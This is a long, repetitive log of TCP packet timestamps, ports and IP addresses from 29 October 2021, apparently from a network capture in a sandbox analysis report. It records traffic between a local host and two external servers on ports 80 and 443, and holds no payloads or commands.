Oct 29, 2021 14:11:13.212893963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212932110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.212969065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213005066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213043928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213079929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213118076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213155985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213192940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213229895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213366032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213406086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213442087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213465929 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.213480949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213517904 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.213520050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213557005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213593960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213630915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213669062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213707924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213743925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213784933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213823080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213859081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213896036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213932991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.213970900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214009047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214045048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214081049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214118958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214154005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214190960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214227915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214265108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214303017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214344978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214368105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214390993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214412928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214436054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214458942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214482069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214505911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214528084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214550972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214574099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214596033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214618921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214642048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214665890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214689970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214713097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214736938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214760065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214782000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214806080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214828014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214850903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214874029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214895964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214919090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214941978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.214963913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216598988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216634989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216640949 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.216658115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216684103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216707945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216726065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.216731071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216757059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216780901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216789007 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.216805935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216830015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.216845036 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.216908932 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.216972113 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.217008114 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.217520952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217561007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217585087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.217600107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217637062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217649937 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.217674971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217715025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217720985 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.217750072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217788935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217796087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.217827082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217863083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.217884064 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.218540907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218580008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218595028 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.218619108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218657970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218666077 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.218694925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218732119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218739033 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.218770027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218807936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218823910 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.218847036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218883038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.218895912 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.219515085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219553947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219566107 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.219594955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219634056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219647884 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.219671011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219708920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219717979 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.219758034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219794035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219806910 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.219831944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219870090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219878912 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.219907045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219945908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.219958067 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.220463037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220488071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220510960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220524073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.220535040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220551968 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.220558882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220582962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220607042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220634937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220660925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220685005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.220900059 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.221352100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221404076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221426964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221451044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221473932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221498966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221523046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221544027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221568108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.221591949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.222197056 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.222873926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.222897053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.222920895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.222944975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.222976923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.223001003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.223025084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.223159075 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.228461981 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.228507042 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.228707075 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.228883028 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.229166031 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.229203939 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.229269981 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.230174065 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.230200052 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.231168985 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.231184959 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.232162952 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.232184887 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.233175039 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.233191967 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.234170914 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.234186888 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.235165119 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.235182047 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.236160040 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.236171961 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.236244917 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.237162113 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.237174988 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.239155054 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.239171028 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.239188910 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.239198923 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.239207029 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.240159035 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.240170956 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.241163015 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.241183996 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.242163897 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.242177963 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.243180990 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.243190050 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.244175911 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.244190931 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.245203018 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.245218039 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.246172905 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.246187925 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.247170925 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.248193979 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.248210907 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.248893023 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.249171972 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.249191046 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.250174046 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.250197887 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.251172066 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.252166033 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.252182961 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.252208948 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.253169060 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.253185987 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.254163027 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.254174948 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.255167961 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.256169081 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.256186008 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.257174969 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.257185936 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.258191109 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.258207083 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.259160995 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.259177923 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.260154009 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.260164022 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.261168003 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.261181116 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.262166023 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.262192965 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.263163090 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.263175964 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.264169931 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.264486074 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.264504910 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.265160084 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.265172005 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.265193939 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.265269041 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.266165972 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.267158031 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.268165112 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.269155025 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.282519102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282573938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282613039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282653093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282691002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282731056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282771111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282807112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282845020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282882929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282921076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282960892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.282996893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283035040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283072948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283108950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283147097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283180952 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.283184052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283222914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283262014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283297062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283334970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283374071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283410072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283451080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283488035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283526897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283566952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283602953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283641100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283679008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283714056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283751965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283791065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283828974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283868074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283905029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283942938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.283981085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284018040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284056902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284095049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284133911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284173012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284209013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284214020 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.284248114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284286022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284322023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284359932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284398079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284435987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284475088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284512997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284550905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284589052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284626007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284665108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284702063 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284740925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284781933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284817934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284894943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284934044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.284971952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285007954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285046101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285083055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285120010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285159111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285175085 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.285195112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285233021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285269976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285306931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285345078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285382032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285419941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285458088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285494089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285531998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285568953 CEST	80	50094	193.56.146.214	192.168.2.3
